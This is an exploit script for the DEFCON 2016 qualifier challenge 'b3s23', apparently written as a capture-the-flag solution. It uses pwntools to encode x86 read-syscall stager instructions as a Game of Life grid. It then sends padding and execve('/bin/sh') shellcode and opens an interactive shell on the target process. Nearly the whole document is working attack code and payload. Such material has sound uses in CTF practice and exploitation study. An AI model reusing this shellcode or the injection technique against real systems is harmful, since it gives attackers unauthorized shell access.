DEFCON 2016 b3s23

grid.py

from pwn import *

"""
c6c2XX mov dl, XX

1100011011000010

1100011011000000XXXXXXXX
1100011011000111XXXXXXXX

c6c003 mov al, 3 ; sys_read
110001101100000000000011
110001101100000000000011

53 push ebx

01010011

51 push ecx
01010001

Combined the 2 pushes with "Beehive and table" :D :D :D

5b pop ebx

01011011

101011011

59 pop ecx
01011001

cd80   int 0x80
1100110110000000

1100110110000000
1100110110000000
"""

grid = """
00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000110001000000000011000000000000001100000000000000110000000000000011000000000000001100000000000000110000
00001000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000110001101100000000010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000110001101100011100010000110001101100000000000011011000000110000000100011000100000000
00000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000100000000100000000
00000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000100100000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000
00000010000101010001100000000000101000000000011010001000110110000000001000110001000000000000000000000000000000
00000101001101010001010110110000010000000000010110001000110110000000001000110001000000000000000000000000000000
00000010000000100000010110110000000000000000000000001000000000000000001000000001000000000000000000000000000000
00000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
"""

msg = ""
grid = grid.strip()
for y, line in enumerate(grid.split()):
    for x, cell in enumerate(line):
        if cell == "1":
            msg += "{}, {}".format(x, y) + "\n"

r = process("./b3s23")
#r = remote("b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me", 2323)

# Send grid.
r.send(msg)
# Trigger the Game of Life.
r.send("a\n")

# Wait for the 15 rounds to end.
for _ in range(15):
    r.recvuntil("0\n\n")

# Send shellcode.
padding = "A" * 0x17
shellcode = "6a0b589952682f2f7368682f62696e89e3525389e1cd80".decode("hex")
r.send(padding + shellcode + "\n")

# Shell :)
r.interactive()